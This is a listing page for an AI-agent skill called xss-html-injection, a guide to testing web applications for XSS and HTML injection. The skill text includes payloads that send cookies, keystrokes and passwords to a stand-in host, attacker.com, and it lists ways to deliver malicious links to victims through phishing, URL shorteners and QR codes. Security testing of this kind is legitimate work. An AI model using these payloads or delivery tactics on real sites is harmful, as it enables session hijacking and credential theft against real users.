cm-autopilot
Easy-to-use conversational CLI (Claude Code style) for non-technical users to spawn parallel AI tasks supervised by a visual web…
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms.
Claude Code
$ npx -y skills add tody-agent/codymaster --skill xss-html-injection --agent claude-code
Codex
$ npx skills add tody-agent/codymaster --skill xss-html-injection -a codex -y
Cursor
$ npx skills add tody-agent/codymaster --skill xss-html-injection -a cursor -y
Gemini CLI
$ npx skills add tody-agent/codymaster --skill xss-html-injection -a gemini-cli -y
GitHub Copilot
$ npx skills add tody-agent/codymaster --skill xss-html-injection -a github-copilot -y
OpenCode
$ npx skills add tody-agent/codymaster --skill xss-html-injection -a opencode -y
Windsurf
$ npx skills add tody-agent/codymaster --skill xss-html-injection -a windsurf -y
name: xss-html-injection description: "Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms." risk: unknown source: community author: zebbern date_added: "2026-02-27"
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
Locate areas where user input is reflected in responses:
# Common injection vectors - Search boxes and query parameters - User profile fields (name, bio, comments) - URL fragments and hash values - Error messages displaying user input - Form fields with client-side validation only - Hidden form fields and parameters - HTTP headers (User-Agent, Referer)
Insert test strings to observe application behavior:
<!-- Basic reflection test -->
<test123>
<!-- Script tag test -->
<script>alert('XSS')</script>
<!-- Event handler test -->
<img src=x onerror=alert('XSS')>
<!-- SVG-based test -->
<svg onload=alert('XSS')>
<!-- Body event test -->
<body onload=alert('XSS')>Monitor for:
**Stored XSS Indicators:**
**Reflected XSS Indicators:**
**DOM-Based XSS Indicators:**
Target areas with persistent user content:
- Comment sections and forums - User profile fields (display name, bio, location) - Product reviews and ratings - Private messages and chat systems - File upload metadata (filename, description) - Configuration settings and preferences
<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>Build URLs containing XSS payloads:
# Basic reflected payload https://target.com/search?q=<script>alert(document.domain)</script> # URL-encoded payload https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E # Event handler in parameter https://target.com/page?name="><img src=x onerror=alert(1)> # Fragment-based (for DOM XSS) https://target.com/page#<script>alert(1)</script>
Techniques for delivering reflected XSS to victims:
1. Phishing emails with crafted links 2. Social media message distribution 3. URL shorteners to obscure payload 4. QR codes encoding malicious URLs 5. Redirect chains through trusted domains
Locate JavaScript functions that process user input:
// Dangerous sinks document.write() document.writeln() element.innerHTML element.outerHTML element.insertAdjacentHTML() eval() setTimeout() setInterval() Function() location.href location.assign() location.replace()
Locate where user-controlled data enters the application:
// User-controllable sources location.hash location.search location.href document.URL document.referrer window.name postMessage data localStorage/sessionStorage
// Hash-based injection https://target.com/page#<img src=x onerror=alert(1)> // URL parameter injection (processed client-side) https://target.com/page?default=<script>alert(1)</script>
"I can't write code. But in 6 months, I shipped 12 real products using AI. CodyMaster is everything I learned — so you don't have to repeat my mistakes." — Tody Le, Head of Product, Creator of CodyMaster 50+ skills. One install.
Easy-to-use conversational CLI (Claude Code style) for non-technical users to spawn parallel AI tasks supervised by a visual web…
Strategic analysis gate for existing products — multi-dimensional evaluation (tech, product, design, business) using Design…
Fallback local Playwright daemon for real-browser visual QA / screenshots / smoke. Use ONLY when the host platform has no native…
Code hygiene gate — detect and eliminate dead code, duplicates, naming mess, and code smells. TRIZ-powered. Run after features,…
Full review lifecycle — request reviews, handle feedback with technical rigor, and complete branch integration. Use when…
Unified code intelligence — routes to Skeleton Index, CodeGraph, Architecture Diagram, or Smart Context Builder based on task…
You MUST use this before any creative work - creating features, building components, adding functionality, modifying behavior, or…
Ask which skill or flow fits your situation. A router over the skills in this repo.